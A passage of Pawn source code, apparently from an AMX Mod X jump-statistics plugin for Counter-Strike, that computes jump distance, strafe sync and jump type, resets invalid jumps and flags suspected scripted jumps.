						show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_PROBBUG",prestrafe[id]);
					}
					new summad,summws;
					for(new i=0;i<NSTRAFES;i++)
					{
						if(type_button_what[id][i]==1)
						summad++;
						if(type_button_what[id][i]==2)
						summws++;
					}
					if(summws>summad)
					{
						if(backwards[id])
						{
							formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE1"); //Back-Side?? don't know...
						}
						else formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE1");
					}
					else if(backwards[id])
					{
						formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE2");
					}
					else pre_type[id] = "";
			
					static bool:ducking;
					
					static type[33];
					type[0] = '^0';
					new bool:failed;
					if (failed_jump[id] == true)
					{
						formatex( type, 32, "" );
						failed=true;
						origin=failed_origin[id];
					}
					else
					{
						pev(id, pev_origin, origin);
						ducking = is_user_ducking( id );
						failed=false;
					}
					
					if(donehook[id])
					{
						donehook[id]=false;
						failed_jump[id]=true;
						client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_HOOKPROTECT");		
					}	
					if(failed==false)
					{
						height_difference[id] =  ducking ? jumpoff_origin[id][2] - origin[2] - 18.0 : jumpoff_origin[id][2] - origin[2];
						if(jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump || jump_type[id]==Type_Bhop_In_Duck)
						{
							if(height_difference[id] <-22.0)
							{
								JumpReset(id,4);
								return FMRES_IGNORED;
							}
							
							if(height_difference[id] > -18.0)
							{
								if(height_difference[id] <= -1.0)
								{
									JumpReset(id,5);
									return FMRES_IGNORED;
								}	
							}
						}
						else
						{
							if(height_difference[id] < -1.0)
							{
								if((jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_StandUp_CountJump) && height_difference[id]==-18.0)
								{
									//ColorChat(id, GREEN, "ne reset");
								}
								else
								{	
									JumpReset(id,6);
									return FMRES_IGNORED;	
								}
							}	
						}
						if(jump_type[id]==Type_StandupBhopLongJump)
						{
							if(height_difference[id] > 1.0)
							failed_jump[id]=true; 
						}
						else if(height_difference[id] > 0.0 && jump_type[id]!=Type_Drop_BhopLongJump )
						{
							JumpReset(id,7);
							return FMRES_IGNORED; 
						}
						else if(height_difference[id] > 0.02 && jump_type[id]==Type_Drop_BhopLongJump )
						{
							failed_jump[id]=true; 
						}
					}
					
					if( is_user_ducking(id))
					{
						origin[2]+=18.0;
					}
					
					static Float:distance1;
					if(jump_type[id] == Type_ladder)
					{
						if(floatabs(jumpoff_origin[id][2]-origin[2])>4.0)
						{
							failed_jump[id]=true;
						}
						
						distance1 = get_distance_f( jumpoff_origin[id], origin )+laddist[id];
					}
					else distance1 = get_distance_f( jumpoff_origin[id], origin ) + 32.0;
					
					if( is_user_ducking(id) )
					{
						origin[2]-=18.0;
					}
					
					if( frame_velocity[id][1][0] < 0.0 ) frame_velocity[id][1][0] *= -1.0;
					if( frame_velocity[id][1][1] < 0.0 ) frame_velocity[id][1][1] *= -1.0;
					
					static Float:land_origin[3];
					
					land_origin[2] = frame_velocity[id][0][2] * frame_velocity[id][0][2] + (2 * get_pcvar_float(sv_gravity) * (frame_origin[id][0][2] - origin[2]));
					
					rDistance[0] = (floatsqroot(land_origin[2]) * -1) - frame_velocity[id][1][2];
					rDistance[1] = get_pcvar_float(sv_gravity)*-1;
					
					frame2time = floatdiv(rDistance[0], rDistance[1]);
					if(frame_velocity[id][1][0] < 0 )
					frame_velocity[id][1][0] = frame_velocity[id][1][0]*-1;
					rDistance[0] = frame2time*frame_velocity[id][1][0];
						
					if( frame_velocity[id][1][1] < 0 )
					frame_velocity[id][1][1] = frame_velocity[id][1][1]*-1;
					rDistance[1] = frame2time*frame_velocity[id][1][1];
			
					if( frame_velocity[id][1][2] < 0 )
					frame_velocity[id][1][2] = frame_velocity[id][1][2]*-1;
					rDistance[2] = frame2time*frame_velocity[id][1][2];
					
					if( frame_origin[id][1][0] < origin[0] )
					land_origin[0] = frame_origin[id][1][0] + rDistance[0];
					else
					land_origin[0] = frame_origin[id][1][0] - rDistance[0];
					if( frame_origin[id][1][1] < origin[1] )
					land_origin[1] = frame_origin[id][1][1] + rDistance[1];
					else
					land_origin[1] = frame_origin[id][1][1] - rDistance[1];
					
					if( is_user_ducking(id) )
					{
						origin[2]+=18.0;
						duckstring[id]=true;
					}
			
					land_origin[2] = origin[2];
					
					frame2time += (last_land_time[id]-jumpoff_time[id]);
					
					static Float:distance2;
					if(jump_type[id] == Type_ladder)
					{
						distance2 = get_distance_f( jumpoff_origin[id], land_origin ) +laddist[id];
					}
					else distance2 = get_distance_f( jumpoff_origin[id], land_origin ) + 32.0;
					
					if(failed==true)
					{
						if(jump_type[id] == Type_ladder)
						{
							distance[id] = GetFailedDistance(laddist[id],failed_ducking[id], GRAVITY, jumpoff_origin[id], velocity, failed_origin[id], failed_velocity[id]);
						}
						else distance[id] = GetFailedDistance(32.0,failed_ducking[id], GRAVITY, jumpoff_origin[id], velocity, failed_origin[id], failed_velocity[id]);
					}
					else distance[id] = distance1 > distance2 ? distance2 : distance1; //distance
					
					
					new Float:Landing,bool:land_bug;
					
					if(jump_type[id]!=Type_ladder && distance[id]>64.0)
					{
						new Float:landing_orig[3];
						
						landing_orig=origin;
						landing_orig[2]=landing_orig[2]-36.1;
						
						Landing=LandingCalculate(id,landing_orig,jumpoff_origin[id]);
						if(distance[id]<(jumpblock[id]+edgedist[id]+Landing))
						{
							landing_orig=land_origin;
							landing_orig[2]=landing_orig[2]-36.1;
							
							Landing=LandingCalculate(id,landing_orig,jumpoff_origin[id]);
							Landing=Landing-0.06250;
							land_bug=true;
						}
						else land_bug=false;
					}
					
					if(!uq_noslow && entity_get_float(id,EV_FL_fuser2)==0.0 && jump_type[id] != Type_ladder)
					{
						failed_jump[id]=true;
					}
					if(fps_hight[id] && jump_type[id]!=Type_ladder)
					{
						failed_jump[id]=true;
					}
					if(duckbhop_bug_pre[id])
					{
						failed_jump[id]=true;
					}
					
					new tmp_dist,tmp_min_dist,tmp_maxdist,tmp_mindist_other;
					if(Pmaxspeed != 250.0 && jump_type[id]!=Type_ladder)
					{
						tmp_dist=floatround((250.0-Pmaxspeed)*0.73,floatround_floor);
						
						tmp_min_dist=min_distance-tmp_dist;
						
					}
					else tmp_min_dist=min_distance;
					
					tmp_maxdist=max_distance;
					tmp_mindist_other=min_distance_other;
					
					if(jump_type[id]!=Type_Bhop_In_Duck && jump_type[id]!=Type_Up_Bhop_In_Duck && jump_type[id]!=Type_Up_Stand_Bhop  && jump_type[id] != Type_Up_Bhop && jump_type[id] != Type_ladder && jump_type[id] != Type_Multi_Bhop && jump_type[id]!=Type_DuckBhop && jump_type[id]!=Type_Real_ladder_Bhop)
					{
						if( distance[id] < tmp_min_dist || tmp_maxdist < distance[id] )
						{
							JumpReset(id,8);
							return FMRES_IGNORED;
						}
					}
					else if( jump_type[id] == Type_ladder && (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
					{
						JumpReset(id,9);
						return FMRES_IGNORED;
					}
					else if( (jump_type[id] == Type_Multi_Bhop || jump_type[id]==Type_Real_ladder_Bhop) && (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
					{
						JumpReset(id,10);
						return FMRES_IGNORED;
					}
					else if( (jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop ||  jump_type[id] == Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop)&& (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
					{
						JumpReset(id,11);
						return FMRES_IGNORED;
					}
					else if( jump_type[id]==Type_DuckBhop && (distance[id] > tmp_maxdist || distance[id] < tmp_min_dist-150))
					{
						JumpReset(id,1111);
						return FMRES_IGNORED;
					}
					
					
					
					if( jump_type[id] == Type_LongJump ) 
					{			
						oldjump_type[id]=1;
					}
					else oldjump_type[id]=0;
					
					if(jump_type[id] == Type_LongJump && detecthj[id]==1) 
					{
						jump_type[id] = Type_HighJump;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_HJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_HJ");
					}

					new Float:kkk;
					kkk=1.112*Pmaxspeed;
					if((jump_type[id] == Type_LongJump || jump_type[id] == Type_HighJump) && prestrafe[id]>kkk)
					{
						jump_type[id] = Type_Drop_BhopLongJump;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRBJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRBJ");
					}
					if(touch_somthing[id])
					{
						failed_jump[id]=true;
					}
					if(trigger_protection[id])
					{
						failed_jump[id]=true;
					}
					new wpn,weapon_name[21],weapon_name1[21],clip,ammo;
					
					wpn = get_user_weapon(id,clip,ammo);
					if(wpn)
					{
						get_weaponname(wpn,weapon_name,20);
						get_weaponname(wpn,weapon_name1,20);
						
						replace(weapon_name,20,"weapon_","");
					}
					else formatex(weapon_name,20,"Unknow");
	
					new t_type;
					t_type=0;
					
					switch(jump_type[id])
					{
						case 0: t_type=1;
						case 1: t_type=1;
						case 2: t_type=2;
						case 9: t_type=2;
						case 11: t_type=2;
						case 6: t_type=2;
						case 7: t_type=2;
						case 15: t_type=2;
						case 17: t_type=2;
						case 18: t_type=2;
						case 19: t_type=2;
						case 3: t_type=3;
						case 5: t_type=3;
						case 21: t_type=3;
						case 22: t_type=3;
						case 13: t_type=4;
						case 23: t_type=5;
						case 24: t_type=5;
						case 12: t_type=6;
					}
					
					if(uq_bug==1 && check_for_bug_distance(distance[id],t_type,Pmaxspeed))
					{
						JumpReset(id,2311);
						return FMRES_IGNORED;
					}
					if(uq_bug==1)
					{
						new Float:b_check=2.1;
						
						if(jump_type[id]==Type_ladder)
						{
							b_check=b_check-0.1;
						}
						
						if((maxspeed[id]+prestrafe[id])/distance[id]<b_check)
						{
							JumpReset(id,23451);
							return FMRES_IGNORED;
						}
					}
					new god_dist,leet_dist,holy_dist,pro_dist,good_dist;
					new d_array[5];
					
					d_array=get_colorchat_by_distance(jump_type[id],Pmaxspeed,tmp_dist,dropaem[id],multiscj[id],aircj);
					god_dist=d_array[4];
					leet_dist=d_array[3];
					holy_dist=d_array[2];
					pro_dist=d_array[1];
					good_dist=d_array[0];
					
					new script_dist;
					if(angles_arry[id]>SCRIPTFRAMES && uq_script_detection)
					{
						script_dist=god_dist;
						
						switch(uq_script_work)
						{
							case 0:
								script_dist=good_dist;
							case 1:
								script_dist=pro_dist;
							case 2:
								script_dist=holy_dist;
							case 3:
								script_dist=leet_dist;
							case 4:
								script_dist=god_dist;
						}
					}
					
					new bool:not_save;//DE MODIFICAT
					if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && prestrafe[id]>kkk && !uq_noslow)
					{
						not_save=true;
					}
					else if(prestrafe[id]>Pmaxspeed*1.2 && !uq_noslow)
					{
						not_save=true;
					}
					else not_save=false;
					
					new bool:find_script;
					if(strafe_num[id]>4 && angles_arry[id]>SCRIPTFRAMES && uq_script_detection && distance[id]>script_dist && !not_save)
					{
						if(FullJumpFrames[id]>80)
							failed_jump[id]=true;
						else
							find_script=true;
					}
					
					//streifs stat
					sync_[id] = INFO_ZERO;
					strMess[0] = '^0'; //unnecessary?
					strMessBuf[0] = '^0'; //unnecessary?
					strLen = INFO_ZERO;
					badSyncTemp = INFO_ZERO;
					goodSyncTemp = INFO_ZERO;
					new Float:tmpstatspeed[NSTRAFES],Float:tmpstatpoteri[NSTRAFES];
								
					Fulltime = last_land_time[id]-jumpoff_time[id];
					if(strafe_num[id] < NSTRAFES)
					{
						strafe_stat_time[id][0] = jumpoff_time[id];
						strafe_stat_time[id][strafe_num[id]] =last_land_time[id];
						for(jj = 1;jj <= strafe_num[id]; jj++)
						{
							//client_print(id,print_chat,"%d=%d,%d - %d",jj,strafe_stat_sync[id][jj][0],strafe_stat_sync[id][jj][1],strafe_lost_frame[id][jj]);

							time_ = ((strafe_stat_time[id][jj] - strafe_stat_time[id][jj-1])*100) / (Fulltime);
							if ((strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]) > 0)
							{
								sync_[id] =(strafe_stat_sync[id][jj][0] * 100)/(strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]); //using like a buffer		
							}				
							else
							{
								sync_[id] = 0;
							}
							strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS1", jj, strafe_stat_speed[id][jj][0], strafe_stat_speed[id][jj][1], time_, sync_[id]);
							goodSyncTemp += strafe_stat_sync[id][jj][0];
							badSyncTemp += strafe_stat_sync[id][jj][1];
							tmpstatspeed[jj]=strafe_stat_speed[id][jj][0];
							tmpstatpoteri[jj]=strafe_stat_speed[id][jj][1];
							
							if(tmpstatpoteri[jj]>200)
							{
								if(duckstring[id]==false)
								duckstring[id]=true;
							}
							if(tmpstatpoteri[jj]>200 && Checkframes[id])
							{
								Checkframes[id]=false;
								failed_jump[id]=true;
							}
						}
						//client_print(id,print_chat,"full=%d - %d,%d",FullJumpFrames[id],strafe_stat_sync[id][0][0],strafe_stat_sync[id][0][1]);

						if(strafe_num[id]!=0)
						{
							if (jump_type[id]==Type_ladder && strafe_stat_speed[id][0][0]!=0)
							{	
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS2",strafe_stat_speed[id][0][0]);
							}
							if (duckstring[id]==false)
							{							
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS3");
							}
							if (jump_type[id]==Type_StandupBhopLongJump || jump_type[id]==Type_Up_Stand_Bhop)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS4");
							}
							if(wpn!=29 && wpn!=17 && wpn!=16)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS5",weapon_name);
							}
							
							if(Show_edge[id] && failed_jump[id]==false && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								if((jumpblock[id]+Landing+edgedist[id])>(distance[id]+10.0) || Landing<=0.0)
								{
									strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS6",jumpblock[id],edgedist[id]);
								}
								else if(land_bug)
								{
									strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS7",jumpblock[id],edgedist[id],Landing);
								}
								else strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS8",jumpblock[id],edgedist[id],Landing);
							}
							else if(Show_edge[id] && failed_jump[id] && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0)
							{
								strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS9",jumpblock[id],edgedist[id]);
							}
							else if(Show_edge_Fail[id] && failed_jump[id] && jump_type[id]!=Type_ladder && edgedist[id]<100.0 && edgedist[id]!=0.0)
							{
								strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS10",edgedist[id]);	
							}
							if(jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop_In_Duck)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS11",upheight[id]);
							}
							if(fps_hight[id] && jump_type[id]!=Type_ladder)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS12");
							}
							if(ladderbug[id])
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS13");
								failed_jump[id]=true;
							}
							if(find_ladder[id] && jump_type[id]==Type_DuckBhop)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS14");
								failed_jump[id]=true;
							}
							if(touch_somthing[id])
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS15");
							}
							if(find_script)
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS16");
								failed_jump[id]=true;
							}
							if(trigger_protection[id])
							{
								strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_TRIGGERPROTECT");
							}
						}
					}
					//Sync
					if( goodSyncTemp > 0 ) sync_[id]=(goodSyncTemp*100/(goodSyncTemp+badSyncTemp));
					else sync_[id] = INFO_ZERO;
					
					switch( jump_type[id] )
					{
						case 0: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE1"); //Lj
						case 1: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE2" ); //hj
						case 2: 
						{
							if(CjafterJump[id]==1)
							{
								if(ddforcjafterbhop[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE3" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAB");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAB");
								}
								else if(ddforcjafterladder[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE4" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAL");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAL");
								}
								else
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE5" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAJ");
								}
							}
							else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE6" ); //cj
						}
						case 3: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE7" );//bj
						case 4: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE8" );//??
						case 5: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE9" );//sbj
						case 6: 
						{
							if(ddbeforwj[id]==false)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE10" ); //wj
							}
							else
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE11" );
							}
						}
						case 7: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE12" );
						case 9:
						{
							if(CjafterJump[id]==2)
							{
								if(ddforcjafterbhop[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE13" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAB");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAB");
								}
								else if(ddforcjafterladder[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE14" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAL");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAL");
								}
								else
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE15" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAJ");
								}
							}
							else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE16" ); //dcj
						}
						case 11: 
						{
							if(CjafterJump[id]==3)
							{
								if(ddforcjafterbhop[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE17" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAB");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAB");
								}
								else if(ddforcjafterladder[id])
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE18" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAL");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAL");
								}
								else
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE19" );
									
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAJ");
								}
							}
							else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE20" );//mcj
						}
						case 12: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE21" );//nothing
						case 13: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE22" );//ld
						case 15: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE23" );
						case 16: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE24" );
						case 17: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE25" );
						case 18:
						{	
							if(multidropcj[id]==0)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE26" );
							}
							else if(multidropcj[id]==1)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE27" );
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPDCJ");
							}
							else if(multidropcj[id]==2)
							{
								formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE28" );
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPMCJ");
							}
						}
						case 19:
						{	if(dropaem[id])
							{
								if(multiscj[id]==0)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE29" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPSCJ");
								}
								else if(multiscj[id]==1)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE30" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPDSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPDSCJ");
								}
								else if(multiscj[id]==2)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE31" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPMSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPMSCJ");
									
								}
							}
							else if(ddstandcj[id])
							{
								if(multiscj[id]==0)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE32" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SCJAF");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SCJAF");
								}
								else if(multiscj[id]==1)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE33" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DSCJAF");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DSCJAF");
								}
								else if(multiscj[id]==2)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE34" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MSCJAF");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MSCJAF");
								}
							}
							else
							{
								if(multiscj[id]==0)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE35" );
								}
								else if(multiscj[id]==1)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE36" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DSCJ");
								}
								else if(multiscj[id]==2)
								{
									formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE37" );
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MSCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MSCJ");
								}
							}
						}
						case 20:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE38" );
						case 21:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE39" );
						case 22:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE40" );
						case 23:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE41");
						case 24:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE42");
					}
					//gain
					
					
					
					new Float:gain[33];
					gain[id] = floatsub( maxspeed[id], prestrafe[id] );
			
					if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==0 && uq_drsbj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==1 && uq_dscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==2 && uq_mscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==0 && uq_dropscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==1 && uq_dropdscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==2 && uq_dropmscj==0)
					{
						JumpReset(id,12);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Double_CountJump&& uq_dcj==0)
					{
						JumpReset(id,13);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Multi_CountJump && uq_mcj==0)
					{
						JumpReset(id,14);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_CountJump && uq_cj==0)
					{
						JumpReset(id,15);
						return FMRES_IGNORED;
					}
					else if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && uq_lj==0)
					{
						JumpReset(id,16);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_ladder && uq_ladder==0)
					{
						JumpReset(id,17);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Bhop_In_Duck && (uq_bhopinduck==0 )) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_DuckBhop && (uq_duckbhop==0 )) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Up_Bhop && (uq_upbj==0) ) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Up_Bhop_In_Duck && (uq_upbhopinduck==0 )) 
					{
						JumpReset(id,18);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_BhopLongJump && uq_bj==0) 
					{
						JumpReset(id,19);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_ladderBhop && uq_ldbj==0)
					{
						JumpReset(id,20);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Real_ladder_Bhop && uq_realldbhop==0)
					{
						JumpReset(id,20);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_WeirdLongJump && uq_wj==0) 
					{
						JumpReset(id,21);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==0 && uq_drcj==0)
					{
						JumpReset(id,22);
						return FMRES_IGNORED;
					}
					else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==1 && uq_dropdcj==0)
					{
						JumpReset(id,22);
						return FMRES_IGNORED;
					}
